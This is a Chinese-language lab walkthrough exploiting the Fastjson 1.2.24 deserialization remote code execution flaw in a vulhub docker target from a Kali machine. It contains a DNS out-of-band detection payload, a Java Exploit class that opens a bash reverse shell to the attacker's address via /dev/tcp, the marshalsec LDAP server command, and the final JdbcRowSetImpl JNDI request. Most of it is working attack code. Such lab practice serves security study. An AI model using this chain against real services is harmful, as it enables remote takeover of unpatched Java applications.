触发过程图
靶场模拟
1、实验环境准备
攻击者
kali(192.168.101.141)
使用工具:marshalsec-0.0.3-SNAPSHOT-all.jar
GitHub - RandomRobbieBF/marshalsec-jar: marshalsec-0.0.3-SNAPSHOT-all compiled on X64
被攻击者
centos7(192.168.101.148)
使用工具:docker
docker-compose
vulhub/fastjson1.2.24-rce
centos进入fastjson/1.2.24-rce目录,开启docker-compose服务,默认开启8090端口
启动环境后访问成功
2、检测服务是否存在漏洞(dig.pm验证)
访问服务并抓包,获取请求信息,对其进行修改:
请求修改为:POST
请求头添加:
Content-Type:application/json
请求体添加:
{"zeo":{"@type":"java.net.Inet4Address","val":"6666.8fd20ae815.ipv6.1433.eu.org."}}
修改请求、验证存在dns带外漏洞
POST / HTTP/1.1
Host: 192.168.101.148:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type:application/json
DNT: 1
Connection: close
Content-Length: 83
{"zeo":{"@type":"java.net.Inet4Address","val":"6666.8fd20ae815.ipv6.1433.eu.org."}}
可以看到有回显的内容,证明存在漏洞利用。
3、漏洞利用
1、构造反弹shell的java代码
运行后,得到Exploit.class文件
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit {
public Exploit()throws Exception{
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/192.168.101.141/6666 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while ((line = reader.readLine()) != null){
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) {
}
}
2、将文件发送到攻击机,并开放文件共享,默认开启8000端口
3、攻击机开启LDAP服务器,监听8888端口
kali进入marshalsec-jar-master目录,开启LDAP服务器,让centos来远程启动http.server的Exploit文件,并开启8888监听端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.141:8000/#Exploit 8888
4、攻击机开启监听,监听我们构造的java反弹shell
5、修改抓包的请求信息
根据上述fastjson源代码信息收集到的信息,进行修改请求
修改请求信息
POST / HTTP/1.1
Host: 192.168.101.148:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type:application/json
DNT: 1
Connection: close
{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.101.141:8888/Exploit",
"autoCommit":true
}
}